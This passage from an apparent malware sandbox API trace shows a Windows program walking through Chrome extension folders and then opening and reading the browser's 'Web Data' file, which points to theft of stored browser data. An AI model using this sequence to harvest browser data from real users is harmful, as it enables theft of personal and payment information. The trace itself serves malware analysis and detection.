hFindFile=0x642928) returned 1 [0078.837] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.838] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.838] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.838] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.838] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.839] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.839] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.839] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.840] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.840] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.840] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.841] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.841] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.841] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.842] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.842] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.842] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.843] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.843] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.844] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.844] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.844] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.844] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.845] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.845] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.845] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.845] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.846] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.846] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.846] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.846] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.847] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.847] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.847] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.847] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.848] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.848] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.849] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.849] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0078.849] FindClose (in: hFindFile=0x6428a8 | out: hFindFile=0x6428a8) returned 1 [0078.849] FindClose (in: hFindFile=0x642868 | out: hFindFile=0x642868) returned 1 [0078.849] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*.*", lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 0x642868 [0078.850] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\*.*", lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0x6428a8 [0078.850] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0078.869] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.869] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.869] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.870] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.870] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.875] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.876] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.876] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.876] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.876] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.877] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.877] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.877] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.878] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.878] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.878] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.878] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.882] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.883] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.883] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.883] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.883] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.884] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.884] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.884] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.884] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.884] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.884] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.884] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.886] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.886] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.887] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.887] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.887] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.887] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.888] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.888] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.888] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.888] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.889] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.889] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.889] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.889] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.890] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.890] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.890] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.890] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.891] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.891] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.891] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.891] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.892] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.892] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.892] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.893] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.893] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.893] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.893] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.893] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.894] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.894] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.895] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.895] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.895] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.896] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.896] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.896] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.897] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.897] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.898] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.898] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.898] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.898] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.899] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.899] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.900] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.900] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.901] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.901] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0078.901] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0078.902] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.904] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ar\\*.*", lpFindFileData=0x12f202 | out: lpFindFileData=0x12f202) returned 0x642968 [0078.904] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0078.904] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\bg\\*.*", lpFindFileData=0x12f202 | out: lpFindFileData=0x12f202) returned 0x642968 [0078.904] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0078.904] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ca\\*.*", lpFindFileData=0x12f202 | out: lpFindFileData=0x12f202) returned 0x642968 [0078.905] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0078.905] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\cs\\*.*", lpFindFileData=0x12f202 | out: lpFindFileData=0x12f202) returned 0x642968 [0078.905] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0078.906] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0078.906] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0078.907] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0078.907] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0078.907] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0078.907] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0078.907] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0078.908] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0078.909] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0078.909] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0079.150] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12fa60 | out: ppstm=0x12fa60*=0x64ba58) returned 0x0 [0079.150] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\eebsym5\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0079.151] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.158] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0x53, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.158] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.159] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xa, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.159] ReadFile (in: hFile=0x1e0, 